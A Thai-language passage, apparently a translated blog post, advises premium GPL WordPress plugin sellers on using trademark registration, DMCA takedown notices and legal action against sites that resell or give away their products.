ตามที่แมทธิวอธิบายไว้ กระบวนการไม่จำเป็นต้องซับซ้อนเสมอไป แต่ต้องใช้เวลาและความพยายาม ฉันอยากจะแนะนำให้จ่ายเงินให้ทนายระดับกลางทำเพื่อคุณ คุณควรเสียค่าใช้จ่ายระหว่าง 200 ถึง 2,000 ดอลลาร์สำหรับงาน แม้ว่าจะช่วยคุณประหยัดเวลาและทำให้มั่นใจได้ว่าแอปพลิเคชันจะดีขึ้น ไม่ว่าในกรณีใด ก่อนที่คุณจะเริ่ม Google it! หากคุณพบผลิตภัณฑ์หรือบริษัท (โดยเฉพาะในสาขาเดียวกันหรือคล้ายกัน) ที่ตรงกับคำ/วลีของคุณ มีโอกาสสูงที่คุณจะไม่สามารถจดทะเบียนเครื่องหมายการค้าได้ (และจริงๆ แล้วคุณอาจกำลังละเมิดของผู้อื่น)

จะทำอย่างไรเมื่อเครื่องหมายการค้าของคุณถูกละเมิด?

ฉันจะเริ่มต้นด้วยสิ่งที่คุณไม่ควรทำ หากเป็นการละเมิดเครื่องหมายการค้า ไม่ใช่ลิขสิทธิ์ คุณไม่ควรยื่นคำขอให้ลบออก DMCA

DMCA ครอบคลุมการละเมิดลิขสิทธิ์เท่านั้น ไม่มีข้อกำหนดที่คล้ายกันสำหรับเครื่องหมายการค้า การใช้การแจ้งเพื่อให้ลบออก DMCA สำหรับการอ้างสิทธิ์เครื่องหมายการค้าอาจส่งผลให้ผู้อ้างสิทธิ์ต้องรับผิดในข้อความเท็จ

โดยทั่วไปแล้วจะง่ายที่สุดในการพยายามแก้ไขปัญหาโดยตรงกับเจ้าของเว็บไซต์ หากไม่สำเร็จ คุณสามารถเริ่มดำเนินการทางกฎหมายกับเจ้าของเว็บไซต์ โฮสต์ ฯลฯ วิธีการเฉพาะที่คุณใช้มักจะเป็นกรณีเฉพาะ และ ณ จุดนี้ ฉันขอแนะนำให้ติดต่อทนายความเพื่อทำความเข้าใจตัวเลือกที่ดีที่สุดในสถานการณ์เฉพาะของคุณ .

ลิขสิทธิ์คุ้มครองอะไรบ้าง?

ลิขสิทธิ์แตกต่างจากเครื่องหมายการค้า ลิขสิทธิ์คุ้มครองผลงานต้นฉบับของผู้ประพันธ์ซึ่งได้รับการแก้ไขในสื่อในการแสดงออกบางส่วน อย่างไรก็ตาม ข้อจำกัดในการคุ้มครองลิขสิทธิ์คือการขยายขอบเขตเฉพาะการแสดงออก ไม่ใช่แนวคิด ประเภทของงานเพื่อการคุ้มครองลิขสิทธิ์ ได้แก่ งานวรรณกรรม (หนังสือ รหัส) งานดนตรี ภาพถ่ายและภาพ ภาพเคลื่อนไหว การบันทึกเสียง และหมวดหมู่อื่นๆ ข้อจำกัดอีกประการหนึ่งคือลิขสิทธิ์ไม่คุ้มครองวลีหรือนิพจน์สั้นๆ ซึ่งยังคงมีไว้เพื่อการคุ้มครองเครื่องหมายการค้า ตราบใดที่สิ่งเหล่านี้ทำหน้าที่เป็นตัวระบุเฉพาะสำหรับผู้บริโภคที่แยกแหล่งที่มาของสินค้าหรือบริการออกจากผู้อื่น

จะทำอย่างไรเมื่อลิขสิทธิ์ของคุณถูกละเมิด?

1. ในขั้นต้น มักจะง่ายที่สุดในการพยายามติดต่อเจ้าของเว็บไซต์โดยตรง ในหลายกรณี เจ้าของเว็บไซต์ไม่สนใจมากกว่าคุณในการเกณฑ์ทนายความ มีส่วนร่วมในกระบวนการทางกฎหมาย ฯลฯ พยายามค้นหาบัญชี Twitter อีเมลติดต่อหรือหน้าติดต่อบนเว็บไซต์ และส่งข้อความเรียกร้องให้ลบ ปลั๊กอินเครื่องหมายการค้าของคุณจากเว็บไซต์
2. หากไม่สามารถช่วยได้ คุณสามารถส่งการแจ้งเพื่อให้ลบออกตาม DMCA (Digital Millennium Copyright Act) มีตัวสร้างมากมายที่จะช่วยคุณสร้าง เพียงแค่ google สำหรับ “dmca takedown generator” เมื่อคุณได้รับหนังสือแจ้งแล้ว คุณจะต้องส่งไปยังเจ้าของไซต์ บริษัทที่ให้บริการพื้นที่ และ ISP คุณสามารถเลือกส่งคำบอกกล่าวไปยังเครื่องมือค้นหาเพื่อลบไซต์ออกจากผลการค้นหา ในการค้นหาบริษัทโฮสติ้ง คุณสามารถใช้เว็บไซต์เช่น whoishostingthis.com หากต้องการค้นหา ISP คุณสามารถใช้เว็บไซต์เช่น http://www.whoismyisp.org/ หากต้องการค้นหาลิงก์ที่เกี่ยวข้องเพื่อยื่น DMCA ไปยัง ISP / Hosting, google for ISP_NAME / HOSTING_NAME + DMCA

หรือคุณสามารถเริ่มดำเนินการทางกฎหมายกับเจ้าของเว็บไซต์ โฮสต์ ฯลฯ เราขอแนะนำให้คุณติดต่อทนายความเพื่อทำความเข้าใจว่านี่เป็นทางเลือกที่ดีที่สุดหรือไม่ในสถานการณ์เฉพาะของคุณ

บทสรุป

ฉันหวังว่าชุดคำสั่งทีละขั้นตอนนี้จะช่วยให้คุณมีเครื่องมือที่เหมาะสมในการปกป้องธุรกิจปลั๊กอิน GPL ของคุณจากโทรลล์ เพียงสรุป:

• ในฐานะเจ้าของธุรกิจ คุณมีสิทธิ์และควรปกป้องแบรนด์และทรัพย์สินของบริษัทของคุณ
• เครื่องหมายการค้าและลิขสิทธิ์เป็นวิธีที่ถูกและมีประสิทธิภาพในการปกป้องธุรกิจปลั๊กอินของคุณอย่างถูกกฎหมาย ดังนั้น คุณควรพิจารณาจดทะเบียนเครื่องหมายการค้าสำหรับชื่อบริษัทและชื่อผลิตภัณฑ์ของคุณอย่างจริงจัง
• โทรลล์จำนวนมากละเมิดลิขสิทธิ์ทั้งสอง (เช่น โดยยกกราฟิกส่งเสริมการขายของคุณ) และเครื่องหมายการค้า (โดยใช้ชื่อแบรนด์ของคุณ) การสร้างชื่อแบรนด์ โลโก้ และงานศิลปะที่มีเอกลักษณ์เฉพาะตัว เท่ากับว่าคุณสร้างพอร์ตโฟลิโอเพื่อช่วยต่อสู้กับการละเมิดลิขสิทธิ์

โทรลล์จำนวนมากละเมิดลิขสิทธิ์และเครื่องหมายการค้า การสร้างชื่อแบรนด์ โลโก้ และงานศิลปะที่มีเอกลักษณ์เฉพาะตัว คุณสร้างพอร์ตโฟลิโอเพื่อช่วยต่อสู้กับการละเมิดลิขสิทธิ์ทวีต

หากเว็บไซต์บุคคลที่สามแสดงรายการปลั๊กอินหรือธีม GPL ระดับพรีเมียมของคุณ สำหรับการขายหรือของแถม โดยไม่ได้รับความยินยอมจากคุณ:

• หากเว็บไซต์ใช้งานศิลปะต้นฉบับของคุณหรือวัสดุอื่นๆ อาจเป็นการละเมิดลิขสิทธิ์ คุณยื่นคำขอให้ลบออก DMCA ได้
• หากเว็บไซต์ใช้เครื่องหมายการค้าของบริษัทหรือผลิตภัณฑ์ของคุณ อาจเป็นการละเมิดเครื่องหมายการค้า คุณสามารถเริ่มดำเนินการทางกฎหมายกับเว็บไซต์ได้

หากคุณมีความคิดเห็นเพิ่มเติมเกี่ยวกับผลทางกฎหมายและจริยธรรมของ GPL โปรดแบ่งปันในความคิดเห็นด้านล่าง

ข้อมูลอ้างอิงที่ยอดเยี่ยม:

• การแจ้งการนำออก DMCA ออกเพื่อต่อต้านการโยกย้าย WP ของ WP Migrate DB Pro
• ใบอนุญาต GPL ไม่ได้ให้อิสระในการละเมิดเครื่องหมายการค้าจดทะเบียน
• WordPress GPL ถูกใช้ในทางที่ผิดหรือไม่?
• เหตุใดเราจึงจ่ายเงินสำหรับรหัสลิขสิทธิ์ GPL